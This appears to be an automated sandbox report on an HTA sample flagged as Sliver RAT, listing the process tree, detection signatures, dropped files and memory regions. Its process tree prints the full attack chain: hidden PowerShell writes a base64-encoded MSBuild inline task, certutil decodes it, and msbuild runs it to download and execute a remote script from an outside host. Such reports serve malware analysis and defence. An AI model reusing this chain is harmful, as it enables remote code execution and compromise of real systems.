Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/11/2024, 02:22

General

  • Target
    3a4befeda808fff4c4bef7d488d59fefa1334d9c7acb6cb155c6cfa9f88a03f3.hta
  • Size 3KB
  • Sample241107-ct2vravrhj
  • SHA256 3a4befeda808fff4c4bef7d488d59fefa1334d9c7acb6cb155c6cfa9f88a03f3
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Sliver RAT v2 6 IoCs
  • Sliver family
  • SliverRAT

    SliverRAT is an open source Adversary Emulation Framework.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Manipulates Digital Signatures 1 TTPs 3 IoCs

    Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to obtain their binary as valid.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

    Payload decoded via CertUtil.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\3a4befeda808fff4c4bef7d488d59fefa1334d9c7acb6cb155c6cfa9f88a03f3.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2960
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden echo PFByb2plY3QgVG9vbHNWZXJzaW9uPSI0LjAiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL2RldmVsb3Blci9tc2J1aWxkLzIwMDMiPg0KICA8IS0tIFRoaXMgaW5saW5lIHRhc2sgZXhlY3V0ZXMgYyMgY29kZS4gLS0+DQogIDwhLS0gQzpcV2luZG93c1xNaWNyb3NvZnQuTkVUXEZyYW1ld29yazY0XHY0LjAuMzAzMTlcbXNidWlsZC5leGUgcHNoZWxsLnhtbCAtLT4NCiAgIDwhLS0gQXV0aG9yOiBDYXNleSBTbWl0aCwgVHdpdHRlcjogQHN1YlRlZSAtLT4NCiAgPCEtLSBMaWNlbnNlOiBCU0QgMy1DbGF1c2UgLS0+DQogIDxUYXJnZXQgTmFtZT0iSGVsbG8iPg0KICAgPEZyYWdtZW50RXhhbXBsZSAvPg0KICAgPENsYXNzRXhhbXBsZSAvPg0KICA8L1RhcmdldD4NCiAgPFVzaW5nVGFzaw0KICAgIFRhc2tOYW1lPSJGcmFnbWVudEV4YW1wbGUiDQogICAgVGFza0ZhY3Rvcnk9IkNvZGVUYXNrRmFjdG9yeSINCiAgICBBc3NlbWJseUZpbGU9IkM6XFdpbmRvd3NcTWljcm9zb2Z0Lk5ldFxGcmFtZXdvcmtcdjQuMC4zMDMxOVxNaWNyb3NvZnQuQnVpbGQuVGFza3MudjQuMC5kbGwiID4NCiAgICA8UGFyYW1ldGVyR3JvdXAvPg0KICAgIDxUYXNrPg0KICAgICAgPFVzaW5nIE5hbWVzcGFjZT0iU3lzdGVtIiAvPg0KICAgICAgPFVzaW5nIE5hbWVzcGFjZT0iU3lzdGVtLklPIiAvPg0KICAgICAgPENvZGUgVHlwZT0iRnJhZ21lbnQiIExhbmd1YWdlPSJjcyI+DQogICAgICAgIDwhW0NEQVRBWw0KICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJIZWxsbyBGcm9tIEZyYWdtZW50Iik7DQogICAgICAgIF1dPg0KICAgICAgPC9Db2RlPg0KICAgIDwvVGFzaz4NCiAgICA8L1VzaW5nVGFzaz4NCiAgICA8VXNpbmdUYXNrDQogICAgVGFza05hbWU9IkNsYXNzRXhhbXBsZSINCiAgICBUYXNrRmFjdG9yeT0iQ29kZVRhc2tGYWN0b3J5Ig0KICAgIEFzc2VtYmx5RmlsZT0iQzpcV2luZG93c1xNaWNyb3NvZnQuTmV0XEZyYW1ld29ya1x2NC4wLjMwMzE5XE1pY3Jvc29mdC5CdWlsZC5UYXNrcy52NC4wLmRsbCIgPg0KICAgIDxUYXNrPg0KICAgICAgPFJlZmVyZW5jZSBJbmNsdWRlPSJTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uIiAvPg0KICAgICAgPENvZGUgVHlwZT0iQ2xhc3MiIExhbmd1YWdlPSJjcyI+DQogICAgICAgIDwhW0NEQVRBWw0KICAgICAgICANCiAgICAgICAgICAgIHVzaW5nIFN5c3RlbTsNCiAgICAgICAgICAgIHVzaW5nIFN5c3RlbS5JTzsNCiAgICAgICAgICAgIHVzaW5nIFN5c3RlbS5EaWFnbm9zdGljczsNCiAgICAgICAgICAgIHVzaW5nIFN5c3RlbS5SZWZsZWN0aW9uOw0KICAgICAgICAgICAgdXNpbmcgU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzOw0KICAgICAgICAgICAgLy9BZGQgRm9yIFBvd2VyU2hlbGwgSW52b2NhdGlvbg0KICAgICAgICAgICAgdXNpbmcgU3lzdGVtLkNvbGxlY3Rpb25zLk9iamVjdE1vZGVsOw0KICAgICAgICAgICAgdXNpbmcgU3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbjsNCiAgICAgICAgICAgIHVzaW5nIFN5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24uUnVuc3BhY2VzOw0KICAgICAgICAgICAgdXNpbmcgU3lzdGVtLlRleHQ7DQogICAgICAgICAgICB1c2luZyBNaWNyb3NvZnQuQnVpbGQuRnJhbWV3b3JrOw0KICAgICAgICAgICAgdXNpbmcgTWljcm9zb2Z0LkJ1aWxkLlV0aWxpdGllczsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgIHB1YmxpYyBjbGFzcyBDbGFzc0V4YW1wbGUgOiAgVGFzaywgSVRhc2sNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBwdWJsaWMgb3ZlcnJpZGUgYm9vbCBFeGVjdXRlKCkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIFN0cmluZyBjbWQgPSBAIihOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vc2VjdXJlLmNsb3VkdGVjaG5vbG9naWVzdXNhLmNvbTo4MDgxL3VwZGF0ZS50eHQnKSB8IGlleCI7DQogICAgICAgICAgICBSdW5zcGFjZSBycyA9IFJ1bnNwYWNlRmFjdG9yeS5DcmVhdGVSdW5zcGFjZSgpOw0KICAgICAgICAgICAgcnMuT3BlbigpOw0KICAgICAgICAgICAgUG93ZXJTaGVsbCBwcyA9IFBvd2VyU2hlbGwuQ3JlYXRlKCk7DQogICAgICAgICAgICBwcy5SdW5zcGFjZSA9IHJzOw0KICAgICAgICAgICAgcHMuQWRkU2NyaXB0KGNtZCk7DQogICAgICAgICAgICBwcy5JbnZva2UoKTsNCiAgICAgICAgICAgIHJzLkNsb3NlKCk7DQogICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICANCiANCiAgICAgICAgICAgIA0KICAgICAgICBdXT4NCiAgICAgIDwvQ29kZT4NCiAgICA8L1Rhc2s+DQogIDwvVXNpbmdUYXNrPg0KPC9Qcm9qZWN0Pg== > c:\windows\temp\enc3.txt;certutil -decode c:\windows\temp\enc3.txt c:\windows\temp\d.xml;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe C:\windows\temp\d.xml
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2780
      • C:\Windows\SysWOW64\certutil.exe
        "C:\Windows\system32\certutil.exe" -decode c:\windows\temp\enc3.txt c:\windows\temp\d.xml
        3⤵
        • Manipulates Digital Signatures
        • Deobfuscate/Decode Files or Information
        • System Location Discovery: System Language Discovery
        PID:5108
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe" C:\windows\temp\d.xml
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:408
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gstxboqt\gstxboqt.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2356
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6D9E.tmp" "c:\Users\Admin\AppData\Local\Temp\gstxboqt\CSCE00BFF72D7664AF69788AFD696185D14.TMP"
            5⤵
              PID:3756
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zvxymoqo\zvxymoqo.cmdline"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:620
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6E89.tmp" "c:\Users\Admin\AppData\Local\Temp\zvxymoqo\CSC25AF02AD52CF4D8B94EE6A92B03887EE.TMP"
              5⤵
                PID:880
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\oiaydg3g\oiaydg3g.cmdline"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:1992
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7196.tmp" "c:\Users\Admin\AppData\Local\Temp\oiaydg3g\CSCD8E0469648454CA48B693F4F20AB42A2.TMP"
                5⤵
                  PID:2880

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              RES6D9E.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\RES6D9E.tmp
              • Size 1KB
              • SHA256 4c6ff3c68dba71799c46c674d2b692279b2def94acd42906a6b044829a77ef75
              • MD5 SHA1 SHA512

              RES6E89.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\RES6E89.tmp
              • Size 1KB
              • SHA256 f8994e14f5a9dd621607426c89d52ad97801bf0e6aa969b7fc1f8376bfcee170
              • MD5 SHA1 SHA512

              RES7196.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\RES7196.tmp
              • Size 1KB
              • SHA256 029089cf9b556af519e881cfe3d205b62814620364a5021d79f3da3b6045f8cf
              • MD5 SHA1 SHA512

              __PSScriptPolicyTest_j3wmh52w.apd.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_j3wmh52w.apd.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512

              gstxboqt.dll

              • Path C:\Users\Admin\AppData\Local\Temp\gstxboqt\gstxboqt.dll
              • Size 4KB
              • SHA256 132ad86e7d9df4f578c00f625b1f8aef8744e3a82b2cc9fc5e9b7a5979dcc487
              • MD5 SHA1 SHA512

              gstxboqt.pdb

              • Path C:\Users\Admin\AppData\Local\Temp\gstxboqt\gstxboqt.pdb
              • Size 11KB
              • SHA256 7592de542ec502a037e03ccb8bd915ab2e882eb7e43fdc1d5acd12917c740ba4
              • MD5 SHA1 SHA512 SSDEEP

              oiaydg3g.dll

              • Path C:\Users\Admin\AppData\Local\Temp\oiaydg3g\oiaydg3g.dll
              • Size 3KB
              • SHA256 46a90e37fe32cf3cbbb41e2bc3d266a7e82c9c94b80f8255668319c55afc9104
              • MD5 SHA1 SHA512

              zvxymoqo.dll

              • Path C:\Users\Admin\AppData\Local\Temp\zvxymoqo\zvxymoqo.dll
              • Size 4KB
              • SHA256 4a3e7db6afab63a3abc793490bb12566c66c12d468600483638248de824602cb
              • MD5 SHA1 SHA512

              zvxymoqo.pdb

              • Path C:\Users\Admin\AppData\Local\Temp\zvxymoqo\zvxymoqo.pdb
              • Size 11KB
              • SHA256 fbeea46d857ec73255d05172a689e815aed207fb6e1b2c979c0417a85c8e33a0
              • MD5 SHA1 SHA512 SSDEEP

              d.xml

              • Path C:\windows\temp\d.xml
              • Size 2KB
              • SHA256 104291eb54874a1e80375b91ec552efac6632272654c8a5613730bd2eba9e78a
              • MD5 SHA1 SHA512

              CSCE00BFF72D7664AF69788AFD696185D14.TMP

              • Path \??\c:\Users\Admin\AppData\Local\Temp\gstxboqt\CSCE00BFF72D7664AF69788AFD696185D14.TMP
              • Size 652B
              • SHA256 b84a9cca20ba67a01b6431afd70f21ff607a9ac682accb2222ab50d21a0a37ff
              • MD5 SHA1 SHA512

              gstxboqt.0.cs

              • Path \??\c:\Users\Admin\AppData\Local\Temp\gstxboqt\gstxboqt.0.cs
              • Size 1KB
              • SHA256 70e3eb02311312b3f1ff90617cb47ebb9b8e7cab47771668811a34584182c6bb
              • MD5 SHA1 SHA512

              gstxboqt.cmdline

              • Path \??\c:\Users\Admin\AppData\Local\Temp\gstxboqt\gstxboqt.cmdline
              • Size 660B
              • SHA256 84bfc09de703b68fda3ac3746862e6c950368df4d6edeff9b74a7efa9187cc28
              • MD5 SHA1 SHA512

              CSCD8E0469648454CA48B693F4F20AB42A2.TMP

              • Path \??\c:\Users\Admin\AppData\Local\Temp\oiaydg3g\CSCD8E0469648454CA48B693F4F20AB42A2.TMP
              • Size 652B
              • SHA256 ff53d0f527949cfed8a4ff80a404a6df5b96294329ce5ebf90201166fe714926
              • MD5 SHA1 SHA512

              oiaydg3g.0.cs

              • Path \??\c:\Users\Admin\AppData\Local\Temp\oiaydg3g\oiaydg3g.0.cs
              • Size 611B
              • SHA256 67bc3e11493360528ba1296980ab818bf4c3938d14ddd6b5063bba03667b28ac
              • MD5 SHA1 SHA512

              oiaydg3g.cmdline

              • Path \??\c:\Users\Admin\AppData\Local\Temp\oiaydg3g\oiaydg3g.cmdline
              • Size 369B
              • SHA256 c86eb175130b3371d9b107749e1dcf79e195e65df9a7a72d4ede746cf8151f01
              • MD5 SHA1 SHA512

              CSC25AF02AD52CF4D8B94EE6A92B03887EE.TMP

              • Path \??\c:\Users\Admin\AppData\Local\Temp\zvxymoqo\CSC25AF02AD52CF4D8B94EE6A92B03887EE.TMP
              • Size 652B
              • SHA256 bf9af33edfe4df2509f2dea73db7aad80a004dd447092b4aa4d582e645bf4009
              • MD5 SHA1 SHA512

              zvxymoqo.0.cs

              • Path \??\c:\Users\Admin\AppData\Local\Temp\zvxymoqo\zvxymoqo.0.cs
              • Size 1KB
              • SHA256 624fe16b05ade5d9929c6ecf16857939230ea32156405c18b4dacfb0448e310e
              • MD5 SHA1 SHA512

              zvxymoqo.cmdline

              • Path \??\c:\Users\Admin\AppData\Local\Temp\zvxymoqo\zvxymoqo.cmdline
              • Size 801B
              • SHA256 f9426a49283c4c35f279c90e83f3e8b89f9ee99f05723ed221858f32aa6503fb
              • MD5 SHA1 SHA512

              enc3.txt

              • Path \??\c:\windows\temp\enc3.txt
              • Size 6KB
              • SHA256 731673720695df22b838e0d256f7506eaa4c7570601db0a409302ab3a0cd1686
              • MD5 SHA1 SHA512 SSDEEP

              memory/408-32-0x00000198E4DF0000-0x00000198E4E34000-memory.dmp

              memory/408-49-0x00000198CC240000-0x00000198CC248000-memory.dmp

              memory/408-34-0x00000198E54A0000-0x00000198E5806000-memory.dmp

              memory/408-31-0x00000198E4ED0000-0x00000198E4FF2000-memory.dmp

              memory/408-99-0x00000198E89D0000-0x00000198E94B4000-memory.dmp

              memory/408-95-0x00000198E89D0000-0x00000198E94B4000-memory.dmp

              memory/408-97-0x00000198E89D0000-0x00000198E94B4000-memory.dmp

              memory/408-96-0x00000198E89D0000-0x00000198E94B4000-memory.dmp

              memory/408-94-0x00000198E89D0000-0x00000198E94B4000-memory.dmp

              memory/408-33-0x00000198E5130000-0x00000198E52AC000-memory.dmp

              memory/408-26-0x00000198CA600000-0x00000198CA63E000-memory.dmp

              memory/408-29-0x00000198CC260000-0x00000198CC290000-memory.dmp

              memory/408-28-0x00000198E4C40000-0x00000198E4D9A000-memory.dmp

              memory/408-27-0x00000198CAA00000-0x00000198CAA1A000-memory.dmp

              memory/408-93-0x00000198E74D0000-0x00000198E7F4B000-memory.dmp

              memory/408-89-0x00000198CC2B0000-0x00000198CC2B8000-memory.dmp

              memory/408-65-0x00000198CC250000-0x00000198CC258000-memory.dmp

              memory/408-76-0x00000198E74A0000-0x00000198E74C2000-memory.dmp

              memory/2780-8-0x0000000005CC0000-0x0000000005D26000-memory.dmp

              memory/2780-2-0x0000000074FEE000-0x0000000074FEF000-memory.dmp

              memory/2780-5-0x0000000074FE0000-0x0000000075790000-memory.dmp

              memory/2780-4-0x0000000005D80000-0x00000000063A8000-memory.dmp

              memory/2780-3-0x00000000034A0000-0x00000000034D6000-memory.dmp

              memory/2780-6-0x0000000005AB0000-0x0000000005AD2000-memory.dmp

              memory/2780-91-0x0000000074FEE000-0x0000000074FEF000-memory.dmp

              memory/2780-92-0x0000000074FE0000-0x0000000075790000-memory.dmp

              memory/2780-7-0x0000000005C50000-0x0000000005CB6000-memory.dmp

              memory/2780-18-0x0000000006540000-0x0000000006894000-memory.dmp

              memory/2780-20-0x0000000006990000-0x00000000069DC000-memory.dmp

              memory/2780-19-0x0000000006960000-0x000000000697E000-memory.dmp

              memory/2780-21-0x00000000081B0000-0x000000000882A000-memory.dmp

              memory/2780-22-0x0000000006E50000-0x0000000006E6A000-memory.dmp